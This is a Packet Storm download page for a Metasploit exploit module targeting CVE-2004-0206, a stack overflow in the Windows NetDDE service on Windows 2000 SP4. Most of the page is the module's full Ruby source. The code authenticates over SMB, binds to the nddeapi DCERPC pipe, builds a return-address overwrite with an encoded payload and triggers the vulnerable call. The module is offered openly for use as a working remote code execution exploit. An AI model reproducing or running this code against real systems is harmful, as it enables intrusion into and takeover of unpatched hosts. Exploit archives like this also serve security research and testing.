what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft NetDDE Service Overflow

Microsoft NetDDE Service Overflow
Posted Nov 26, 2009
Authored by Pusscat | Site metasploit.com

This Metasploit module exploits a stack overflow in the NetDDE service, which is the precursor to the DCOM interface. This exploit effects only operating systems released prior to Windows XP SP1 (2000 SP4, XP SP0). Despite Microsoft's claim that this vulnerability can be exploited without authentication, the NDDEAPI pipe is only accessible after successful authentication.

tags | exploit, overflow
systems | windows
advisories | CVE-2004-0206
SHA-256 | c2bd4617c647ff19e1847b77cc3d7916505f16f526abbfabcf23ced43ab47f97

Microsoft NetDDE Service Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# https://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft NetDDE Service Overflow',
'Description' => %q{
This module exploits a stack overflow in the NetDDE service, which is the
precursor to the DCOM interface. This exploit effects only operating systems
released prior to Windows XP SP1 (2000 SP4, XP SP0). Despite Microsoft's claim
that this vulnerability can be exploited without authentication, the NDDEAPI
pipe is only accessible after successful authentication.
},
'Author' => [ 'pusscat' ],
'License' => BSD_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2004-0206'],
[ 'OSVDB', '10689'],
[ 'BID', '11372'],
[ 'MSB', 'MS04-031'],

],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => (0x600 - (133*4) - 4),
'BadChars' => "\\/.:$\x00", # \ / . : $ NULL
'Prepend' => 'A' * 8,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 SP4', { 'Ret' => 0x77e56f43 } ], # push esp, ret :)
],
'DefaultTarget' => 0))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (nddeapi)", 'nddeapi']),
], self.class)
end

def exploit
connect()
smb_login()
print_status("Trying target #{target.name}...")

handle = dcerpc_handle('2f5f3220-c126-1076-b549-074d078619da', '1.2', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
print_status("Binding to #{handle}")
dcerpc_bind(handle)
print_status("Bound to #{handle}")

retOverWrite =
'AA' + (NDR.long(target.ret) * 133) + payload.encoded

overflowChunk =
retOverWrite +
NDR.long(0xCA7CA7) + # Mew. 3 bytes enter. 1 byte null.
NDR.long(0x0)

stubdata =
NDR.UnicodeConformantVaryingStringPreBuilt(overflowChunk) +
NDR.long(rand(0xFFFFFFFF))

print_status('Calling the vulnerable function...')

begin
response = dcerpc.call(0xc, stubdata)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
end

handler
disconnect
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close